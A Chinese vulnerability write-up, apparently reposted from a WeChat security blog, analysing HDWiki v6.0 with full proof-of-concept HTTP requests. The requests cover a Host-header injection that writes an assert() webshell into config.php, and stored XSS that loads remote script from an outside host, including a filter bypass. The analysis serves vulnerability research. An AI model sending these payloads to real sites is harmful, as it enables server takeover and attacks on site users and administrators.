首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一个能让你技能加身的HDWiki漏洞

一个能让你技能加身的HDWiki漏洞

作者头像
漏斗社区
发布2018-06-06 11:12:21
9290
发布2018-06-06 11:12:21
举报
文章被收录于专栏:漏斗社区漏斗社区

0x00 背景

最近拿到一个源码素材,于是对这个源码进行分析,发现了不少漏洞,本篇先将一些漏洞进行分析,下一篇再进行GetShell方法的分析,期待和师傅们的交流。

0x01 漏洞分析

配置文件写入

  • 0x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件: \HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php 漏洞类型:配置文件写入导致代码执行 站点地址:http://kaiyuan.hudong.com/

  • 0x01 漏洞分析

在文件\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php的第291-310行中发现如下代码块,其中传入的数据库连接等信息没有经过安全处理直接拼接,然后使用fwrite函数将拼接后的内容写入到配置文件中,因此此处存在代码执行漏洞。

通过反向跟踪$configfile,$site_url的数据,知道写入文件的名称是config.php,还有$site_url的参数是获取Host头的值。 在\HDWiki-v6.0UTF8-20170209\hdwiki\install\install.php

  • 0x02 漏洞复现

可以写入代码的位置有dbhost,dbuser,dbpassword,dbname,table_prefix,Host,这里我直接将代码植入到Host中。进行如下请求,将恶意代码写入到配置文件中,由于配置文件没有设置访问权限,所以写入后可以直接前台访问。

POST /install/install.php HTTP/1.1 
Host: 127.0.0.1:8081');@assert($_POST['cmd']);$a=(' 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/install/install.php 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 95 
Connection: close 
Upgrade-Insecure-Requests: 1 
dbhost=localhost&dbuser=root&dbpassword=root&dbname=wiki&table_prefix=wiki_&saveconfig=1&step=3

写入后访问config.php 可以直接前台进行代码执行。

XSS注入

  • 0x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件: \hdwiki\control\user.php 漏洞类型:存储型XSS注入 站点地址:http://kaiyuan.hudong.com/

  • 0x01 漏洞分析

在文件\hdwiki\control\user.php中的第50-56行中发现如下代码块,通过分析和数据跟踪发现$email存在安全问题,在第54行中接收email的值然后进行引号的转义处理后,进入到了第56行中的docheck中。

跟入docheck方法,在文件\hdwiki\control\user.php中的第199行中,使用docheckemail方法对$email进行检测。

跟入docheckemail方法,在文件\hdwiki\control\user.php中的第254-271行中发现该方法的代码块,通过分析该方法的可以知道并没有对HTML或者JS代码/字符进行安全处理,所以此处存在存储型XSS。

  • 0x02 漏洞复现

由于邮箱的长度有限制但是可以使用短域名突破。

POST /index.php?user-register HTTP/1.1 
Host: 127.0.0.1:8081 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/index.php?user-register 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 143 
Cookie: hd_sid=2ny184; hd_auth=7eecQnwVHW%2FA9biNTw4cASoUikKxWJr4gHY9sz1QoHE50i5%2Bf92UQu6AOs9y1wk0RIqYiuWGCV2mX32jUwwn; PHPSESSID=14uuv4iobaociig610qksae2v0 
Connection: close 
Upgrade-Insecure-Requests: 1 
username=Thinking&password=Thinking&repassword=Thinking&email=<script src=http://mhz.pw/G></script>&agree=on&fromuid=&submit=%E6%8F%90%E4%BA%A4

当管理员登录后台进行用户管理便会触发JS代码。

1x00 相关环境

源码信息:HDWiki-v6.0UTF8-20170209 问题文件:\hdwiki\control\doc.php 漏洞类型:存储型XSS注入 站点地址:http://kaiyuan.hudong.com/

1x01 漏洞分析

在文件\hdwiki\control\doc.php中的第413行中发现doedit方法,在对词条进行编辑的时候,过滤危险字符的函数可以被绕过,导致可以直接引入前端代码造成存储型XSS,在文件的第534行中,使用了stripscript方法对传入的内容进行安全处理。

跟入stripscript,在\hdwiki\lib\string.class.php文件的第227行中发现该方法,分析该方法可以知道,该方法是将符合$pregfind的正则内容替换为空,因此可以通过如下方法进行绕过。

绕过方法:

1x02 漏洞复现

首先注册一个用户,再创建一个词条,然后对词条进行编辑也就是在content参数中植入js代码,绕过方法就是在最后一个script后加上空格,然后提交。

POST /index.php?doc-edit HTTP/1.1 
Host: 127.0.0.1:8081 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 
Accept-Language: en-US,en;q=0.5 
Accept-Encoding: gzip, deflate 
Referer: http://127.0.0.1:8081/index.php?doc-edit-59 
Content-Type: multipart/form-data; boundary=---------------------------114782935826962 
Content-Length: 1332 
Cookie: PHPSESSID=14uuv4iobaociig610qksae2v0; hd_sid=HbPBd8; hd_auth=0737U4o9dWt5bzx9M%2BcQJZYvE1vO7shf%2Bej%2BpJtLa4eIXyCXC4r7pEHAk1KUQg%2Fh3G8yJtxK1dhL1FuFp1crdw 
Connection: close 
Upgrade-Insecure-Requests: 1 
-----------------------------114782935826962 
Content-Disposition: form-data; name="did" 
59 
-----------------------------114782935826962 
Content-Disposition: form-data; name="section_id" 
-----------------------------114782935826962 
Content-Disposition: form-data; name="create_submit" 
1 
-----------------------------114782935826962 
Content-Disposition: form-data; name="title" 
Thinking test buibui 
-----------------------------114782935826962 
Content-Disposition: form-data; name="category" 
0 
-----------------------------114782935826962 
Content-Disposition: form-data; name="_token" 
y5IIiyfoKxH5dcU90S38sG2STGfHqmkF 
-----------------------------114782935826962 
Content-Disposition: form-data; name="summary" 
xss 
-----------------------------114782935826962 
Content-Disposition: form-data; name="content" 
<p>hello world!<br /><br /></p><script src=http://mhz.pw/G></script > 
-----------------------------114782935826962 
Content-Disposition: form-data; name="tags" 
A 
-----------------------------114782935826962 
Content-Disposition: form-data; name="code" 
-----------------------------114782935826962 
Content-Disposition: form-data; name="editreason[]" 
A 
-----------------------------114782935826962 
Content-Disposition: form-data; name="publishsubmit" 
发布 
-----------------------------114782935826962--

当用户或者管理员访问这个词条后就可以执行JS脚本了。

0x02 小小总结

本篇只分析了发现的部分漏洞,该源码的问题不少,感兴趣的伙伴们可以自行挖掘试试,至于GetShell的方法有好几个,后篇再和大家分享吧,期待和师傅们的交流讨论,师傅们有更好的思路期待能一起交流讨论,但是如果是hc请走开勿扰,交流学习可联系我thinking_balabala@163.com。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-05-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 漏斗社区 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档